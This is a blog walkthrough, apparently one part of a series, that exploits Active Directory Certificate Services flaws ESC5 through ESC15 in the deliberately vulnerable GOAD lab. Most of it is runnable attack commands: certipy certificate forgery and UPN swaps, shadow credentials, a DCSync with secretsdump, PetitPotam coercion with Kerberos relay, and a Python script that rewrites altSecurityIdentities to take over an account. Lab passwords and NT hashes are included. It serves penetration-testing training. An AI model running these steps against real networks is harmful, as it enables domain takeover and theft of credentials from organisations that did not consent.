In the previous blog post on ADCS (Goad Pwning Part 6), ESC1, ESC2, ESC3, ESC4, ESC6, and ESC8 were exploited.
- This post examines additional ESC vulnerabilities within the domains.
Several modifications have been made to GOAD (excluding goad-light and goad-mini) to support various ADCS attack techniques. Updating an existing GOAD instance will incorporate these changes.
Some of these modifications were implemented based on ADCS Ludus Role (GPL-3.0 like goad), so thanks to the ludus team for their work.
1
2
3
4
5
| goad> cd <instance_id>
goad (instance)> provision ad-data.yml
goad (instance)> provision ad-relations.yml
goad (instance)> provision adcs.yml
goad (instance)> provision vulnerabilities.yml
|
This post is more of a walkthrough to demonstrate how to exploit the vulnerability rather than a comprehensive guide on how the vulnerability occurs. If you’re interested in understanding the underlying mechanisms (and you should be), along with detailed explanations for each step, please refer to the links and resources provided at the end of this post.
ESC5 : “Golden certificate”
with schannel
- Pass the certificate and obtain an ldap shell with schannel
1
| certipy auth -pfx administrator_forged.pfx -ldap-shell
|
- At this point a way to exploit could be to create a user and add him to domain admin.
1
2
3
4
5
6
| # add_user newdomainadmin
Attempting to create user in: %s CN=Users,DC=essos,DC=local
Adding new user with username: newdomainadmin and password: #:krR&,gk@%R3M* result: OK
# add_user_to_group newdomainadmin "Domain admins"
Adding user: newdomainadmin to group Domain Admins result: OK
|
with pkinit
1
2
3
4
5
6
7
8
| # ask for a certificate for our user
certipy req -u 'khal.drogo@essos.local' -p horse -ca 'ESSOS-CA' -template User -target 192.168.56.23
# then reforge with this template as parameter
certipy forge -ca-pfx 'ESSOS-CA.pfx' -upn administrator@essos.local -template khal.drogo.pfx
# verify pkinit connection (unpac the hash)
certipy auth -pfx administrator_forged.pfx -dc-ip 192.168.56.12
|
If you get the error “KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)” just reboot DC03: stop_vm GOAD-DC03
then start_vm GOAD-DC03
- Authentication can also be done with gettgtpkinit
1
| gettgtpkinit.py -cert-pfx administrator_forged.pfx -dc-ip 192.168.56.12 "essos.local/administrator" admin_tgt.cccache
|
- And launch a dcsync with our domain admin tgt
1
2
| export KRB5CCNAME=/workspace/admin_tgt.cccache
secretsdump -k meereen.essos.local -dc-ip 192.168.56.12
|
Be sure to have 192.168.56.12 meereen.essos.local
in your host file.
ESC5 : “Vulnerable PKI Object Access Control”
- One way to exploit esc5 is by abusing the permission on the child to domain to escalate to the root domain.
- If we look on the child domain NORTH, we can see that SYSTEM has Full Control on the Public Key Service Container of the main domain (sevenkingdoms).
- This exploitation is well described in the specter ops’blog post : https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c
- The concept is to use the system account of the ca to modify the objects and add yourself permission on the parent domain.
- This is an escalation from child to parent domain and it is left as an exercice to the reader :)
ESC7
- viserys.targaryen@essos.local:GoldCrown got ESC7 privileges
1
| certipy find -enabled -u viserys.targaryen@essos.local -p GoldCrown -dc-ip 192.168.56.12
|
- The user got manageCA privileges
- To exploit ESC7, we will add to him “manage certificate” privilege, in order to do that certipy can be used with the option “add-officer” :
1
| certipy ca -ca 'ESSOS-CA' -username viserys.targaryen@essos.local -p GoldCrown -add-officer viserys.targaryen -dc-ip 192.168.56.12 -target-ip 192.168.56.23
|
- Now viserys has manageCertificate permission.
- Exploit ESC7:
1
2
3
4
5
6
7
8
9
10
11
| # enable SubCA template
certipy ca -ca 'ESSOS-CA' -enable-template 'SubCA' -username viserys.targaryen@essos.local -p GoldCrown -dc-ip 192.168.56.12 -target-ip 192.168.56.23
# request a certificate based on subCA template
certipy req -ca 'ESSOS-CA' -username viserys.targaryen@essos.local -p GoldCrown -dc-ip 192.168.56.12 -target-ip 192.168.56.23 -template SubCA -upn administrator@essos.local
# issue failed certificate request
certipy ca -ca 'ESSOS-CA' -issue-request 7 -username viserys.targaryen@essos.local -p GoldCrown -dc-ip 192.168.56.12 -target-ip 192.168.56.23
# retrieve the issued certificate
certipy req -ca 'ESSOS-CA' -username viserys.targaryen@essos.local -p GoldCrown -dc-ip 192.168.56.12 -target-ip 192.168.56.23 -retrieve 7
|
- And confirm the pfx is working with certipy
1
| certipy auth -pfx administrator.pfx -dc-ip 192.168.56.12
|
ESC9
In order to exploit this one we need :
- a generic write other an account.
- Also msPKI-Enrollement-Flag must content 0x00080000 value (524288 in decimal) equivaleant to the value CT_FLAG_NO_SECURITY_EXTENSION.
- And we also need StrongCertificateBindingEnforcement set to 1 (default) or 0
- Or CertificateMappingMethods set to 0x04 - UPN
- Certipy show this flag too or it can be retrieve manually with ldapsearch
1
| ldapsearch -H ldap://192.168.56.12 -D "missandei@essos.local" -w fr3edom -b 'CN=ESC9,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=essos,DC=local' "*"
|
- Add shadow credentials from missandei to viserys to get viserys’NThash.
1
| certipy shadow auto -username "missandei@essos.local" -p "fr3edom" -account viserys.targaryen -dc-ip 192.168.56.12
|
- Change the UPN (user principal name on the account)
1
| certipy account update -username "missandei@essos.local" -p "fr3edom" -user viserys.targaryen -upn administrator -dc-ip 192.168.56.12
|
- Request certificate for the user viserys with viserys hash (obtained from the shadow credentials and unpac the hash)
1
| certipy req -username "viserys.targaryen@essos.local" -hashes "d96a55df6bef5e0b4d6d956088036097" -target "braavos.essos.local" -ca 'ESSOS-CA' -template 'user' -debug
|
- Rollback upn modification
1
| certipy account update -username "missandei@essos.local" -p "fr3edom" -user viserys.targaryen -upn viserys.targaryen -dc-ip 192.168.56.12
|
- Enjoy your admin certificate !
1
| certipy auth -pfx 'administrator.pfx' -domain "essos.local" -dc-ip 192.168.56.12
|
The key value StrongCertificateBindingEnforcement can’t be viewed has a simple user, but as DA you could see it if present with :
reg.py "essos.local"/"daenerys.targaryen":'BurnThemAll!'@"192.168.56.12" query -keyName 'HKLM\SYSTEM\CurrentControlSet\Services\Kdc'
Same for the certificate mapping method: “CertificateMappingMethods”reg.py "essos.local"/"daenerys.targaryen":'BurnThemAll!'@"192.168.56.12" query -keyName 'HKLM\System\CurrentControlSet\Control\SecurityProviders\Schannel'
ESC10
- Basically the attack is the same as ESC9, change the UPN of a user, ask for cert and change it back.
ESC10 is setup on dc01 on the GOAD lab (domain sevenkingdoms)
- in GOAD/data/config.json the folowing line was modified:
"vulns" : ["disable_firewall", "adcs_esc10_case1", "adcs_esc10_case2"],
ESC10 - case 1 - StrongCertificateBindingEnforcement 0
- Exploitation with jaime->joffrey generic write to go to administrator.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| # get joffrey hash with shadowcredentials
certipy shadow auto -username "jaime.lannister@sevenkingdoms.local" -p "cersei" -account joffrey.baratheon -dc-ip 192.168.56.10
# change jeoffrey UPN
certipy account update -username "jaime.lannister@sevenkingdoms.local" -p "cersei" -user joffrey.baratheon -upn administrator -dc-ip 192.168.56.10
# ask for certificate
certipy req -username "joffrey.baratheon@sevenkingdoms.local" -hashes "3b60abbc25770511334b3829866b08f1" -target "192.168.56.10" -ca 'SEVENKINGDOMS-CA' -template 'user' -debug
# Rollback upn modification
certipy account update -username "jaime.lannister@sevenkingdoms.local" -p "cersei" -user joffrey.baratheon -upn joffrey.baratheon -dc-ip 192.168.56.10
# Connect with the certificate
certipy auth -pfx 'administrator.pfx' -domain "sevenkingdoms.local" -dc-ip 192.168.56.10
|
ESC10 - case 2 - CertificateMappingMethods 0x04
Same as before but we will change the UPN to ‘kingslanding$@sevenkingdoms.local’ instead of administrator
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| # get joffrey hash with shadowcredentials
certipy shadow auto -username "jaime.lannister@sevenkingdoms.local" -p "cersei" -account joffrey.baratheon -dc-ip 192.168.56.10
# change jeoffrey UPN to kingslanding$
certipy account update -username "jaime.lannister@sevenkingdoms.local" -p "cersei" -user joffrey.baratheon -upn 'kingslanding$@sevenkingdoms.local' -dc-ip 192.168.56.10
# ask for certificate
certipy req -username "joffrey.baratheon@sevenkingdoms.local" -hashes "3b60abbc25770511334b3829866b08f1" -target "192.168.56.10" -ca 'SEVENKINGDOMS-CA' -template 'user' -debug
# Rollback upn modification
certipy account update -username "jaime.lannister@sevenkingdoms.local" -p "cersei" -user joffrey.baratheon -upn joffrey.baratheon -dc-ip 192.168.56.10
# Connect via schannel with the certificate
certipy auth -pfx 'kingslanding.pfx' -domain "sevenkingdoms.local" -dc-ip 192.168.56.10 -ldap-shell
|
- And with the shell we can do RBCD to pwn the domain controler
ESC11
certipy find
show on ESSOS-CA the following issue :
ESC11 : Encryption is not enforced for ICPR requests and Request Disposition is set to Issue
- The attack is almost the same has ESC8 but on rpc instead of http.
- First prepare the relay:
1
| certipy relay -target rpc://braavos.essos.local -ca 'ESSOS-CA' -template DomainController
|
- Then run a coerce on the dc
1
| certipy relay -target rpc://braavos.essos.local -ca 'ESSOS-CA' -template DomainController
|
- And authenticate with the dc certificate.
1
| certipy auth -pfx meereen.pfx -dc-ip 192.168.56.12
|
certipy-merged
ESC12
This one involve YubiHSM and is not implemented in GOAD.
ESC13
I will not loose myself in explaining ESC13, if you want to dig it please read : https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53
Also shootout to ludus teams for the adcs module https://github.com/badsectorlabs/ludus_adcs which was super helpfull to integrate esc13 on goad.
For our example, we got a universal group “greatmaster” which is also admin on the domain controler DC03 in the lab
If we look with certipy-merged find command we got an ESC13 detection. (don’t worry about the policy applied multiple times, it is due to my test for adding the vuln into goad ^^)
- Exploit it by first request the certificate
1
| certipy req -target braavos.essos.local -u missandei@essos.local -p fr3edom -dc-ip 192.168.56.12 -template ESC13 -ca ESSOS-CA -debug
|
- And next authent with the certificate
1
| certipy auth -pfx missandei.pfx -dc-ip 192.168.56.12
|
- To finish verify if the new right due to the greatmaster group is apply to our user tgt. To do that, access the c$ of the domain controler.
ESC14 A - Write access on altSecurityIdentities
In goad missandei got a generic all on khal.drogo.
1
| addcomputer.py -method ldaps -computer-name 'esc14computer$' -computer-pass 'Il0veCertific@te' -dc-ip 192.168.56.12 essos/missandei:fr3edom@192.168.56.12
|
- Then we ask for the certificate of our created computer
1
| certipy req -target braavos.essos.local -u 'esc14computer$@essos.local' -p 'Il0veCertific@te' -dc-ip 192.168.56.12 -template Machine -ca ESSOS-CA -debug
|
- Let’s review the certificate attributes
1
2
3
4
| # extract the crt
certipy cert -pfx esc14computer.pfx -nokey -out "esc14computer.crt"
# show informations
openssl x509 -in esc14computer.crt -noout -text
|
- With our genericWrite permission we can change the attribute altSecurityIdentities of khal.drogo
1
2
3
4
5
| ldeep ldap -u missandei -d essos.local -p fr3edom -s ldap://192.168.56.12 search '(samaccountname=khal.drogo)' altSecurityIdentities
[{
"altSecurityIdentities": [],
"dn": "CN=khal.drogo,CN=Users,DC=essos,DC=local"
}]
|
- Calculate the new attribute (with the help of this script converted to python)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
| import argparse
def get_x509_issuer_serial_number_format(serial_number: str, issuer_distinguished_name: str) -> str:
"""
Formats the X509IssuerSerialNumber for the altSecurityIdentities attribute.
:param serial_number: Serial number in the format "43:00:00:00:11:92:78:b0:92:e5:16:88:a6:00:00:00:00:00:11"
:param issuer_distinguished_name: Issuer distinguished name, e.g., "CN=CONTOSO-DC-CA,DC=contoso,DC=com"
:return: Formatted X509IssuerSerialNumber
"""
serial_bytes = serial_number.split(":")
reversed_serial_number = "".join(reversed(serial_bytes))
issuer_components = issuer_distinguished_name.split(",")
reversed_issuer_components = ",".join(reversed(issuer_components))
return f"X509:<I>{reversed_issuer_components}<SR>{reversed_serial_number}"
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Format X509 Issuer Serial Number")
parser.add_argument("-serial", required=True, help="Serial number in format 43:00:00:00:11:92:78:b0:92:e5:16:88:a6:00:00:00:00:00:11")
parser.add_argument("-issuer", required=True, help="Issuer Distinguished Name e.g., CN=CONTOSO-DC-CA,DC=contoso,DC=com")
args = parser.parse_args()
formatted_value = get_x509_issuer_serial_number_format(args.serial, args.issuer)
print(formatted_value)
|
- Ask the value to pass to the ldap user attribute
1
2
| python3 x509_issuer_serial_number_format.py -serial "43:00:00:00:11:92:78:b0:92:e5:16:88:a6:00:00:00:00:00:11" -issuer "CN=ESSOS-CA,DC=essos,DC=local"
X509:<I>DC=local,DC=essos,CN=ESSOS-CA<SR>110000000000a68816e592b078921100000043
|
- And write a script to change the ldap attribute value
1
2
3
4
5
6
7
8
9
10
| import ldap3
dn = "CN=khal.drogo,CN=Users,DC=essos,DC=local"
user = "essos.local\\missandei"
password = "fr3edom"
server = ldap3.Server('meereen.essos.local')
ldap_con = ldap3.Connection(server = server, user = user, password = password, authentication = ldap3.NTLM)
ldap_con.bind()
ldap_con.modify(dn,{'altSecurityIdentities' : [(ldap3.MODIFY_REPLACE, 'X509:<I>DC=local,DC=essos,CN=ESSOS-CA<SR>110000000000a68816e592b078921100000043')]})
print(ldap_con.result)
ldap_con.unbind()
|
- We can check the value is well changed and use our certificate to authenticate to pkinit
1
2
3
4
5
6
7
8
9
10
11
| # check attribute
ldeep ldap -u missandei -d essos.local -p fr3edom -s ldap://192.168.56.12 search '(samaccountname=khal.drogo)' altSecurityIdentities
[{
"altSecurityIdentities": [
"X509:<I>DC=local,DC=essos,CN=ESSOS-CA<SR>110000000000a68816e592b078921100000043"
],
"dn": "CN=khal.drogo,CN=Users,DC=essos,DC=local"
}]
# authentication using our certificate on khal.drogo user !
gettgtpkinit.py -cert-pfx esc14computer.pfx -dc-ip 192.168.56.12 "essos.local/khal.drogo" khal_tgt.cccache
|
ESC15 (CVE-2024-49019)
Essos webserver template is vulnerable to ESC15 in GOAD.
1
2
3
4
5
6
7
8
| # Request certificate with "certificate request agent" application policy
certipy req -u missandei@essos.local -p fr3edom --application-policies "1.3.6.1.4.1.311.20.2.1" -ca ESSOS-CA -template WebServer -dc-ip 192.168.56.12 -target braavos.essos.local
# use this certif to ask a certificate onbehalf of an administrator
certipy req -u missandei@essos.local -on-behalf-of essos\\administrator -template User -ca ESSOS-CA -pfx missandei.pfx -dc-ip 192.168.56.12 -target braavos.essos.local
# Authenticate as administrator
certipy auth -pfx administrator.pfx -dc-ip 192.168.56.12
|
Bonus - ESC8 on kingslanding with kerberos relay
- In sevenkingdoms.local only one DC is available in the domain and the adcs service is also running on this DC.
- So in order to exploit this machine, we will have to coerce the machine to itself.
- This can be done with kerberos relay !
1
2
3
4
5
6
7
8
| # Add dns entry with the james forshaw's trick
dnstool.py -u "sevenkingdoms.local\jaime.lannister" -p "cersei" -r "kingslanding1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" -d "192.168.56.1" --action add "192.168.56.10" --tcp
# Coerce kerberos with petit potam on dns entry
petitpotam.py -u 'jaime.lannister' -p 'cersei' -d sevenkingdoms.local 'kingslanding1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA' kingslanding.sevenkingdoms.local
# relay kerberos
python3 krbrelayx.py -t 'http://kingslanding.sevenkingdoms.local/certsrv/certfnsh.asp' --adcs --template DomainController -v 'KINGSLANDING$' -ip 192.168.56.1
|
and finish it
1
| certipy auth -pfx 'KINGSLANDING$.pfx' -domain "sevenkingdoms.local" -dc-ip 192.168.56.10
|
- If we do the same with ntlm relay instead of kerberos relay we get a 401 unauthorized.
Ressources